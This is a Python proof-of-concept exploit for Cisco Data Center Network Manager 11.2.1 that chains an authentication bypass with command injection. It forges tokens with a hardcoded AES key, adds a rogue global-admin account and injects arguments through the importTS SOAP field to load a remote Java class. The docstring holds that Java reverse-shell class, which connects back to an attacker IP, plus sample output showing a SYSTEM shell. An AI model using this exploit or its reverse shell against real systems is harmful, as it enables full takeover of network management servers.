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#!/usr/bin/python  
"""  
Cisco Data Center Network Manager SanWS importTS Command Injection Remote Code Execution Vulnerability  
  
Tested on: Cisco DCNM 11.2.1 Installer for Windows (64-bit)  
- Release: 11.2(1)  
- Release Date: 18-Jun-2019  
- FileName: dcnm-installer-x64-windows.11.2.1.exe.zip  
- Size: 1619.36 MB (1698022100 bytes)  
- MD5 Checksum: e50f8a6b2b3b014ec022fe40fabcb6d5  
  
Bug 1: CVE-2019-15975 / ZDI-20-003  
Bug 2: CVE-2019-15979 / ZDI-20-100  
  
Notes:  
======  
  
Si.java needs to be compiled against Java 8 (the target used 1.8u201):  
  
import java.io.IOException;  
import java.io.InputStream;  
import java.io.OutputStream;  
import java.net.Socket;  
  
public class Si {  
static{  
try {  
String host = "192.168.100.159";  
int port = 1337;  
String cmd = "cmd.exe";  
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();  
Socket s = new Socket(host,port);  
InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();  
OutputStream po = p.getOutputStream(), so = s.getOutputStream();  
while(!s.isClosed()){  
while(pi.available()>0){  
so.write(pi.read());  
}  
while(pe.available()>0){  
so.write(pe.read());  
}  
while(si.available()>0){  
po.write(si.read());  
}  
so.flush();  
po.flush();  
Thread.sleep(50);  
try {  
p.exitValue();  
break;  
}catch (Exception e){}  
}  
p.destroy();  
s.close();  
}catch (IOException | InterruptedException e){ }  
}  
}  
  
Example:  
========  
  
1. Modify the above Si.java to contain your connectback ip and port  
2. Compile the above Si.java class with Java 8 and store it in an attacker controlled share  
3. Launch the poc.py against your target using the share  
  
saturn:~ mr_me$ ./poc.py   
(+) usage: ./poc.py <target> <connectback:port> <smbserver> <smbpath>  
(+) eg: ./poc.py 192.168.100.122 192.168.100.159:1337 vmware-host '\Shared Folders\tools'  
  
saturn:~ mr_me$ ./poc.py 192.168.100.122 192.168.100.159:1337 vmware-host '\Shared Folders\tools'  
(+) attempting auth bypass 1  
(+) bypassed auth! added a global admin hacker:Hacked123  
(+) attempting to load class from \\vmware-host\Shared Folders\tools\Si.class  
(+) starting handler on port 1337  
(+) connection from 192.168.100.122  
(+) pop thy shell!  
Microsoft Windows [Version 6.3.9600]  
(c) 2013 Microsoft Corporation. All rights reserved.  
  
C:\Program Files\Cisco Systems\dcm\wildfly-10.1.0.Final\bin\service>whoami  
whoami  
nt authority\system  
  
C:\Program Files\Cisco Systems\dcm\wildfly-10.1.0.Final\bin\service>  
"""  
  
import re  
import os  
import sys  
import time  
import base64  
import socket  
import requests  
import calendar  
import telnetlib  
from uuid import uuid4  
from threading import Thread  
from Crypto.Cipher import AES  
from xml.etree import ElementTree  
from datetime import datetime, timedelta  
from requests.packages.urllib3.exceptions import InsecureRequestWarning  
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)  
  
class AESCipher:  
def __init__(self):  
  
# Cisco's hardcoded key  
self.key = "s91zEQmb305F!90a"  
self.bs = 16  
  
def _pad(self, s):  
return s + (self.bs - len(s) % self.bs) * chr(self.bs - len(s) % self.bs)  
  
def encrypt(self, raw):  
raw = self._pad(raw)  
iv = "\x00" * 0x10  
cipher = AES.new(self.key, AES.MODE_CBC, iv)  
return base64.b64encode(cipher.encrypt(raw))  
  
def make_raw_token(target):  
""" craft our token """  
key = "Source Incite"  
uuid = str(uuid4()).replace("-","")[0:20]  
time = leak_time(target)  
return "%s-%s-%s" % (key, uuid, time)  
  
def bypass_auth(target, token, usr, pwd):  
""" we use this primitive to fully bypass auth """  
global user_added_already  
d = {  
"userName" : usr,  
"password" : pwd,  
"roleName" : "global-admin"  
}  
h = { "afw-token" : token }  
uri = "https://%s/fm/fmrest/dbadmin/addUser" % target  
r = requests.post(uri, data=d, headers=h, verify=False)  
try:  
json = r.json()  
except ValueError:  
return False  
if json["resultMessage"] == "Success":  
user_added_already = False  
return True  
elif json["resultMessage"] == "User already exists.":  
user_added_already = True  
return True  
return False  
  
def leak_time(target):  
""" leak the time from the server (not really needed) """  
uri = "https://%s/" % target  
r = requests.get(uri, verify=False)  
r_time = datetime.strptime(r.headers['Date'][:-4], '%a, %d %b %Y %H:%M:%S')  
return calendar.timegm(r_time.timetuple())  
  
def gen_token(target, usr, pwd):  
""" this authenticates via the SOAP endpoint """  
soap_body = '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ep="http://ep.jaxws.dcbu.cisco.com/">'  
soap_body += '\t<soapenv:Header/>'  
soap_body += '\t<soapenv:Body>'  
soap_body += '\t\t<ep:requestToken>'  
soap_body += '\t\t\t<username>%s</username>' % usr  
soap_body += '\t\t\t<password>%s</password>' % pwd  
soap_body += '\t\t\t<expiration>100000</expiration>'  
soap_body += '\t\t</ep:requestToken>'  
soap_body += '\t</soapenv:Body>'  
soap_body += '</soapenv:Envelope>'  
uri = "https://%s/LogonWSService/LogonWS" % target  
r = requests.post(uri, data=soap_body, verify=False)  
tree = ElementTree.fromstring(r.content)  
for elem in tree.iter():  
if elem.tag == "return":  
return elem.text  
return False  
  
def craft_soap_header(target, usr, pwd):  
""" this generates the soap header """  
soap_header = '\t<SOAP-ENV:Header xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">'  
soap_header += '<m:token xmlns:m="http://ep.jaxws.dcbu.cisco.com/">%s</m:token>' % gen_token(target, usr, pwd)  
soap_header += '\t</SOAP-ENV:Header>'  
return soap_header  
  
def load_remote_class(target, smb, usr, pwd):  
""" this triggers the cmdi """  
soap_body = '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ep="http://ep.san.jaxws.dcbu.cisco.com/">'  
soap_body += craft_soap_header(target, usr, pwd)  
soap_body += '\t<soapenv:Body>'  
soap_body += '\t\t<ep:importTS>'  
soap_body += '\t\t\t<certFile>" -providerclass Si -providerpath "%s</certFile>' % smb  
soap_body += '\t\t\t<serverIPAddress></serverIPAddress>'  
soap_body += '\t\t</ep:importTS>'  
soap_body += '\t</soapenv:Body>'  
soap_body += '</soapenv:Envelope>'  
uri = "https://%s/SanWSService/SanWS" % target  
r = requests.post(uri, data=soap_body, verify=False)  
tree = ElementTree.fromstring(r.content)  
for elem in tree.iter():  
if elem.tag == "resultMessage":  
if elem.text == "Success":  
return True  
return False  
  
def handler(lp):  
print "(+) starting handler on port %d" % lp  
t = telnetlib.Telnet()  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.bind(("0.0.0.0", lp))  
s.listen(1)  
conn, addr = s.accept()  
print "(+) connection from %s" % addr[0]  
t.sock = conn  
print "(+) pop thy shell!"  
t.interact()  
  
def exec_code(t, lp, s, usr, pwd):  
handlerthr = Thread(target=handler, args=(lp,))  
handlerthr.start()  
load_remote_class(t, s, usr, pwd)  
  
def main():  
usr = "hacker"  
pwd = "Hacked123"  
if len(sys.argv) != 5:  
print "(+) usage: %s <target> <connectback:port> <smbserver> <smbpath>" % sys.argv[0]  
print "(+) eg: %s 192.168.100.122 192.168.100.159:1337 vmware-host '\\Shared Folders\\tools'" % sys.argv[0]  
sys.exit(1)  
t = sys.argv[1]  
c = sys.argv[2]  
s = "\\\\%s%s" % (sys.argv[3], sys.argv[4])  
i = 0  
  
if not ":" in c:  
print "(+) using default connectback port 4444"  
ls = c  
lp = 4444  
else:  
if not c.split(":")[1].isdigit():  
print "(-) %s is not a port number!" % cb.split(":")[1]  
sys.exit(-1)  
ls = c.split(":")[0]  
lp = int(c.split(":")[1])  
  
# InheritableThreadLocal.childValue performs a 'shallow copy' and causes a small race condition  
while 1:  
i += 1  
print "(+) attempting auth bypass %d" % i  
raw = make_raw_token(t)  
cryptor = AESCipher()  
token = cryptor.encrypt(raw)  
if bypass_auth(t, token, usr, pwd):  
if not user_added_already:  
print "(+) bypassed auth! added a global admin %s:%s" % (usr, pwd)  
else:  
print "(+) we probably already bypassed auth! try the account %s:%s" % (usr, pwd)  
break  
sys.stdout.write('\x1b[1A')  
sys.stdout.write('\x1b[2K')  
  
# we have bypassed the authentication at this point  
print "(+) attempting to load class from %s\\Si.class" % s  
exec_code(t, lp, s, usr, pwd)  
  
if __name__ == "__main__":  
main()